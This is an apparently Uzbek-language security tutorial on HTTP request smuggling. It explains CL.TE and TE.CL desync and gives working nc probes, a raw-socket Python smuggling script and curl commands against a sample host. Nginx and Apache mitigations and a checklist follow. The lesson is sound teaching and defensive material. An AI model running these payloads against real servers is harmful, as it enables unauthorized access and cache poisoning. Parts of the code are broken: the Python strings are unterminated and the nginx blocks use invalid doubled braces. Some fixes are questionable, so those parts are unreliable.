HTTP Request Smuggling

≡ Barcha darslar
Tezkor 🔎 Indeks
🚚

HTTP Request Smuggling

Ikki so'rovni bitta qilish
Dars 31 Yuqori o'z saytingizda
1

Maqsad

ikki so'rovni bitta qilib yuborish

Agar bitta ulanishda front-end va back-end so'rovni turlicha tushunsa — bitta so'rov ichiga ikkinchisini yashirilgan qilib joylash mumkin. Natijada: boshqa foydalanuvchining so'rovi "zaharlangan" bo'lib qoladi.

2

Tushuntirish

// Hujum: Content-Length va Transfer-Encoding ziddiy
POST / HTTP/1.1
Host: site.uz
Content-Length: 44
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: site.uz
Foo: bar

// Proxy: "chunked" ko'radi → GET /admin ni YO'Q deb o'ylaydi
// Backend: Content-Length ga ishonadi → GET /admin ni QO'SHIMCHA
//       so'rov deb qabul qiladi → javob keyingi foydalanuvchiga
Nima uchun jiddiy

Zaharlangan so'rovda sizning Cookieingiz borligi uchun backend uni sizning sifatida qabul qiladi. Natija — ba'zi tizimlarda boshqa foydalanuvchining javobini o'zingiz olasiz (ba'zi holatda admin panelini).

3

Qanday aniqlanadi

# 1) CL.TE ni aniqlash
printf 'POST / HTTP/1.1\r\nHost: site.uz\r\nContent-Length: 6\r\n\
Transfer-Encoding: chunked\r\n\r\n0\r\n\r\n' \
  | nc site.uz 80 | head -20

# 2) TE.CL
printf 'POST / HTTP/1.1\r\nHost: site.uz\r\nContent-Length: 4\r\n\
Transfer-Encoding: chunked\r\n\r\n5c\r\nGPOST /admin HTTP/1.1\r\n\
Content-Length: 15\r\n\r\nx=1\r\n0\r\n\r\n' | nc site.uz 80 | head -20

# 3) vaqt o'lchovi (server kutsa = smuggling mumkin)
time (printf 'POST / HTTP/1.1\r\nHost: site.uz\r\n\
Content-Length: 45\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n\
GET /slow HTTP/1.1\r\nHost: site.uz\r\n\r\n' | nc site.uz 80 > /dev/null)
4

Buyruqlar

qulay usul
# python script — to'g'ri chiziqli kerak (raw socket)
python3 - <<'PYEOF'
import socket
def smuggle(host, path, payload):
    body = ("0

" + payload)
    req = (f"POST {path} HTTP/1.1
Host: {host}
"
           f"Content-Length: {len(body)}
"
           "Transfer-Encoding: chunked

" + body)
    s = socket.create_connection((host, 80), 10)
    s.sendall(req.encode())
    print(s.recv(4000).decode(errors="ignore")[:400])
    s.close()

print("── CL.TE sinovi ──")
smuggle("site.uz", "/", "GET / HTTP/1.1
Host: site.uz

")
print("── TE.CL sinovi ──")
smuggle("site.uz", "/", "8
GPOST /x HTTP/1.1

0

")
PYEOF

# qulayroq: burp (Repeater) yoki smuggle.py
python3 smuggle.py -u https://site.uz/ -m CL.TE
python3 smuggle.py -u https://site.uz/ -m TE.CL

# HTTP/2 → HTTP/1 downgrading (h2c smuggling)
curl -s --http2-prior-knowledge https://site.uz/ -D- -o /dev/null | head -3

# H2.CL (Cloudflare/origin ziddiyati)
curl -s https://site.uz/ -H "Transfer-Encoding: chunked" \
  -H "Content-Length: 0" -D- -o /dev/null | head -3

# javobni tekshirish (ikkilari orasida farq bo'lsa)
printf 'GET / HTTP/1.1\r\nHost: site.uz\r\n\r\n' | nc site.uz 80 | grep -i "HTTP/1" 
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
Server ikki javob qaytardi (chunk + HTTP)**Smuggling tasdiqlandi**
Kechikish (server kutilgan)**CL.TE/TE.CL muvaffaqiyatli**
Keyingi so'rov zaharlangan javob oldi**Cache poisoning / o'g'irlash**
Ikki xil Content-Length qabul qilindi**Parser mos emasligi**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
`400 Bad Request`**To'g'ri** — ziddiyat rad etilgan
Bitta javob, orqali kutish yo'q**Yaxshi**
`Transfer-Encoding` olib tashlangan**To'g'ri**
6

Zararni yopish

1. Ziddiyatni bevosita rad etish

// nginx
if ($http_transfer_encoding) {{ return 400; }}   # TE har doim 400
proxy_http_version 1.1;
// Apache
AllowEncodedSlashes Off
RequestHeader unset Transfer-Encoding

2. Orqada HTTP/2 bo'lsa

// nginx — h2c (cleartext HTTP/2) ni bloklash
if ($server_protocol = HTTP/2.0) {{ return 400; }}   # faqat TLS orqali

3. To'liq izolyatsiya (barcha zaxiralar uchun)

  • Orqada va oldinda bir xil parser/normalizatsiya
  • Katta so'rovlarni rad etish (Tepalar chegarasi)
  • Yopiq ulanishlar (connection reuse) kam
  • Kesh faqat keshlangan holatdan javob beradi (cache key normalization)

4. H2C ni yoq qilish

// nginx
listen 443 ssl http2;      // faqat TLS
// proxy_pass bilan orqada HTTP/1.1 — mismatch bo'lmasin
7

Tekshirish ro'yxati

  • `Transfer-Encoding` bilan so'rovlar 400 qaytaradi
  • Oldin va orqada bir xil parser
  • Tepalar chegarasi (8–16 KB)
  • Orqada HTTP/2 ishlatilmaydi
  • Kesh kaliti normalizatsiya qilingan
  • CL.TE va TE.CL test qilindi